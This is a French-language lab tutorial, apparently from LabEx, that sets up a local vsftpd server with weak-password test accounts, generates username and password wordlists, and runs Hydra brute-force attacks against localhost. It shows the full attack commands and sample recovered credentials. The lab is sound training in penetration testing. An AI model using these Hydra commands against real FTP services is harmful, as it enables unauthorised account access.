Attaquer les services FTP avec Hydra

Introduction

Dans ce laboratoire, vous apprendrez à mener des attaques par force brute contre les services FTP en utilisant Hydra, un outil polyvalent de craquage de mots de passe. Vous configurerez un serveur FTP local avec vsftpd et créerez des comptes de test avec des mots de passe faibles pour démontrer les vulnérabilités de sécurité.

Le laboratoire vous guidera à travers l'exécution d'attaques Hydra, l'analyse des résultats et la compréhension de la manière dont une authentification faible peut compromettre les services FTP. Cet exercice pratique couvre la configuration du serveur, la simulation d'attaque et l'évaluation de la sécurité dans un environnement contrôlé.

Skills Graph

Configurer un serveur FTP local

Dans cette étape, vous allez configurer un serveur FTP local en utilisant vsftpd (Very Secure FTP Daemon) dans l'environnement de la VM LabEx. FTP (File Transfer Protocol - Protocole de transfert de fichiers) est un protocole réseau standard utilisé pour transférer des fichiers entre un client et un serveur sur un réseau. Considérez-le comme un bureau de poste numérique qui gère les livraisons de fichiers entre les ordinateurs.

1. Tout d'abord, nous devons installer le paquet vsftpd. Cette commande met à jour votre liste de paquets et installe le logiciel serveur FTP :

sudo apt-get update && sudo apt-get install -y vsftpd

2. Après l'installation, il est de bonne pratique de créer une sauvegarde du fichier de configuration par défaut. De cette façon, vous pouvez toujours restaurer les paramètres d'origine si nécessaire :

sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak

3. Maintenant, nous allons modifier le fichier de configuration en utilisant nano, un éditeur de texte simple sous Linux. Ce fichier contrôle le comportement de votre serveur FTP :

sudo nano /etc/vsftpd.conf

4. À l'intérieur du fichier de configuration, nous devons modifier ces paramètres importants. Ces modifications vont :
   • Désactiver l'accès anonyme (pour la sécurité)
   • Autoriser les utilisateurs locaux à se connecter
   • Permettre le téléchargement de fichiers (file uploads)
   • Restreindre les utilisateurs à leurs répertoires personnels (pour la sécurité)

anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES

Vous pouvez vérifier les modifications en exécutant la commande suivante :

grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat

5. Après avoir effectué ces modifications, enregistrez le fichier en appuyant sur Ctrl+O (Write Out) puis quittez nano avec Ctrl+X.

6. Maintenant, nous devons redémarrer le service vsftpd pour appliquer nos modifications de configuration. C'est comme rafraîchir le serveur avec nos nouveaux paramètres :

sudo service vsftpd restart

7. Ensuite, nous allons créer un compte d'utilisateur de test spécifiquement pour l'accès FTP. L'option -m crée un répertoire personnel et -s définit le shell par défaut :

sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser

Lorsque vous y êtes invité, définissez le mot de passe sur password123. Nous utilisons ce mot de passe simple à des fins de test uniquement - dans des situations réelles, vous devez toujours utiliser des mots de passe forts.

8. Créons un répertoire spécial pour les tests FTP et définissons les autorisations appropriées. Cela garantit que notre utilisateur de test peut accéder et modifier les fichiers dans ce dossier :

sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test

9. Enfin, nous devons vérifier que notre serveur FTP fonctionne correctement. Cette commande vérifie l'état du service vsftpd :

sudo service vsftpd status

Vous devriez voir une sortie indiquant que le service est actif (en cours d'exécution). Si vous voyez des erreurs, vous devrez peut-être revoir vos étapes de configuration.

Configurer le serveur FTP avec des utilisateurs de test

Dans cette étape, nous allons préparer notre serveur FTP pour les tests de sécurité en créant des comptes de test avec des mots de passe intentionnellement faibles. Cette configuration imite les vulnérabilités de sécurité courantes que l'on trouve dans les systèmes réels, où les utilisateurs choisissent souvent des mots de passe simples. Nous allons créer trois utilisateurs de test, configurer leurs répertoires personnels et générer des listes de mots de passe qu'Hydra utilisera plus tard.

1. Tout d'abord, créons trois utilisateurs de test avec des mots de passe faibles (à des fins de démonstration uniquement). Ces commandes créent de nouveaux utilisateurs système avec des répertoires personnels et définissent leurs mots de passe :

sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd

sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd

sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd

2. Maintenant, nous allons créer des répertoires FTP dédiés pour chaque utilisateur et définir la propriété appropriée. Cela garantit que chaque utilisateur ne peut accéder qu'à ses propres fichiers via FTP :

sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files

sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files

3. Remplissons le répertoire de chaque utilisateur avec un fichier de test. Ces fichiers aideront à vérifier le succès de l'accès FTP plus tard :

echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt

4. Avant de continuer, vérifions que l'accès FTP fonctionne pour l'un de nos utilisateurs de test. Cette commande curl tente de télécharger un fichier en utilisant les informations d'identification FTP :

curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt

Si la configuration est correcte, vous devriez voir le contenu de test1.txt affiché dans votre terminal.

This is ftpuser1's test file

Préparer les listes d'attaque pour FTP

Dans cette étape, vous allez préparer les listes de mots (wordlists) que Hydra utilisera pour tenter de se connecter au serveur FTP. Ces listes contiennent des noms d'utilisateur et des mots de passe potentiels que Hydra essaiera systématiquement lors de l'attaque par force brute (brute-force attack). Comprendre comment créer des listes de mots efficaces est crucial pour les tests d'intrusion (penetration testing).

1. Tout d'abord, nous allons créer une liste de noms d'utilisateur de base contenant des noms d'utilisateur FTP courants. Ce sont des noms de compte par défaut ou fréquemment utilisés que les administrateurs oublient parfois de modifier :

echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt

2. Ensuite, nous allons créer une liste de mots de passe avec des mots de passe faibles courants. De nombreux utilisateurs définissent des mots de passe simples qui sont faciles à retenir mais aussi faciles à deviner :

echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt

3. Vérifions que les deux fichiers ont été créés correctement en affichant leur contenu. Cela garantit que nos listes contiennent exactement ce que nous voulions :

cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt

4. Pour générer des combinaisons de mots de passe plus complexes, nous allons installer l'outil crunch. Cela permet de créer des modèles de mots de passe systématiques qui pourraient être utilisés dans des systèmes réels :

sudo apt-get install -y crunch

5. Maintenant, nous allons utiliser crunch pour générer des mots de passe numériques d'exactement 6 chiffres. Cela simule les mots de passe courants composés uniquement de chiffres, comme les dates de naissance ou les codes PIN simples :

crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt

6. Combinez toutes les listes de mots de passe dans un seul fichier complet. Cette liste fusionnée donnera à Hydra plus d'options de mots de passe à essayer pendant l'attaque :

cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt

7. Vérifiez le nombre d'entrées de mots de passe que nous avons créées. Cela permet d'estimer combien de temps l'attaque par force brute pourrait prendre :

wc -l ~/project/combined_passwords.txt

8. Enfin, créez un fichier de mots de passe de test plus petit à des fins de démonstration. L'utilisation d'un sous-ensemble permet de vérifier que notre configuration fonctionne avant d'exécuter l'attaque complète :

head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt

Exécuter une attaque Hydra sur le service FTP

Dans cette étape, vous utiliserez Hydra pour effectuer une attaque par force brute (brute-force attack) contre le serveur FTP local que nous avons configuré précédemment. Hydra est un outil populaire de craquage de mots de passe qui prend en charge de nombreux protocoles, dont FTP. Une attaque par force brute essaie systématiquement toutes les combinaisons de mots de passe possibles jusqu'à ce que la bonne soit trouvée. Cela démontre pourquoi les mots de passe faibles sont vulnérables à de telles attaques.

1. Tout d'abord, vérifiez qu'Hydra est installé en consultant son menu d'aide. Cela confirme que l'outil est prêt à être utilisé et affiche les options disponibles :

hydra -h

2. Exécutez une attaque Hydra de base en utilisant les listes de noms d'utilisateur et de mots de passe que nous avons créées. L'option -L spécifie la liste des noms d'utilisateur et l'option -P spécifie la liste des mots de passe. Hydra essaiera chaque combinaison contre le service FTP fonctionnant sur localhost :

hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost

3. Pour voir une sortie plus détaillée de la progression de l'attaque, ajoutez l'option -vV. Ce mode verbeux permet de comprendre ce que fait Hydra pendant l'attaque :

hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost

4. Exécutez une attaque plus complète avec la liste complète des mots de passe (cela prendra plus de temps). L'option -t 4 limite à 4 connexions parallèles pour éviter de surcharger le serveur tout en maintenant une bonne vitesse :

hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4

5. Lorsque Hydra trouve des informations d'identification valides (credentials), elles seront affichées dans la sortie. Cela montre quelle combinaison nom d'utilisateur/mot de passe s'est authentifiée avec succès auprès du serveur FTP. Exemple de sortie de succès :

[21][ftp] host: 127.0.0.1   login: ftpuser1   password: password1

6. Enregistrez les résultats dans un fichier pour une analyse ultérieure. L'option -o écrit la sortie dans un fichier au lieu de simplement l'afficher à l'écran :

hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt

7. Vérifiez le fichier de résultats pour voir si des informations d'identification ont été découvertes. Cela vous permet de revoir les résultats une fois l'attaque terminée :

cat ~/project/hydra_results.txt

Résumé

Dans ce TP (travaux pratiques), vous avez appris à configurer un serveur FTP local à l'aide de vsftpd, y compris l'installation du paquet (package), les ajustements de configuration pour l'accès des utilisateurs locaux et la création de comptes de test avec des mots de passe faibles. Le processus impliquait la modification des paramètres de vsftpd.conf, la configuration des autorisations de répertoire appropriées et la vérification de la fonctionnalité du service.

De plus, vous avez préparé un environnement de test pour les attaques Hydra en créant plusieurs comptes avec des informations d'identification prévisibles. Cette configuration fournit un scénario contrôlé pour pratiquer les techniques de force brute (brute-force techniques) tout en maintenant des conditions de test de sécurité réalistes.